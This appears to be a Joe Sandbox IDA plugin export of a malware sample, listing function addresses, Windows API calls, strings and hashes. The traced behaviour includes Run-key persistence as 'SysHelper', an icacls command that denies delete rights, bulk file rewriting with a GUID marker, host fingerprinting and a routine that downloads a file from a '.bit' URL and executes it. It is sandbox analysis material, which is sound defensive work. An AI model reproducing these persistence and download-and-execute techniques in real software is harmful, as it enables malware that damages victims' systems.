Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: f42ac2a34f32bbece92df10569c4e00cba9c2f0ad6f7c954867005a28924b396
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02e9612f127fb412d77a5d1f2b2faf682c4a1611dcf75e79c66b72e064a0daf3
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 20a6b4d08f244b764e44352b3f7a4bd6db9a475a88b444b25db31a52fb5508a0
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 20a6b4d08f244b764e44352b3f7a4bd6db9a475a88b444b25db31a52fb5508a0
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 004120C2
" --AutoStart, xrefs: 00411DD1
D, xrefs: 00412128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SHGetFolderPathW, xrefs: 00411E9F
SysHelper, xrefs: 00411D5B, 004120EB

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 2b1f6bfeed45557405d712db00f55f4a7679148e139f61f455d3ca44cba358bc
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 2b1f6bfeed45557405d712db00f55f4a7679148e139f61f455d3ca44cba358bc
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

SHGetFolderPathA, xrefs: 0041DCFB
Shell32.dll, xrefs: 0041DCF0
$run, xrefs: 0041DEAB
.bit/, xrefs: 0041DF45
Microsoft Internet Explorer, xrefs: 0041DEF7

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 91aa2e71bbb9e580d4ff7e022ef694871d47920c4b95c8289435996a0a9492ff
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 91aa2e71bbb9e580d4ff7e022ef694871d47920c4b95c8289435996a0a9492ff
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: c18f38e04a2adb040c6a0bed3540475cd9860add9e302347e8b4d945f9e4bd1c
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: c18f38e04a2adb040c6a0bed3540475cd9860add9e302347e8b4d945f9e4bd1c
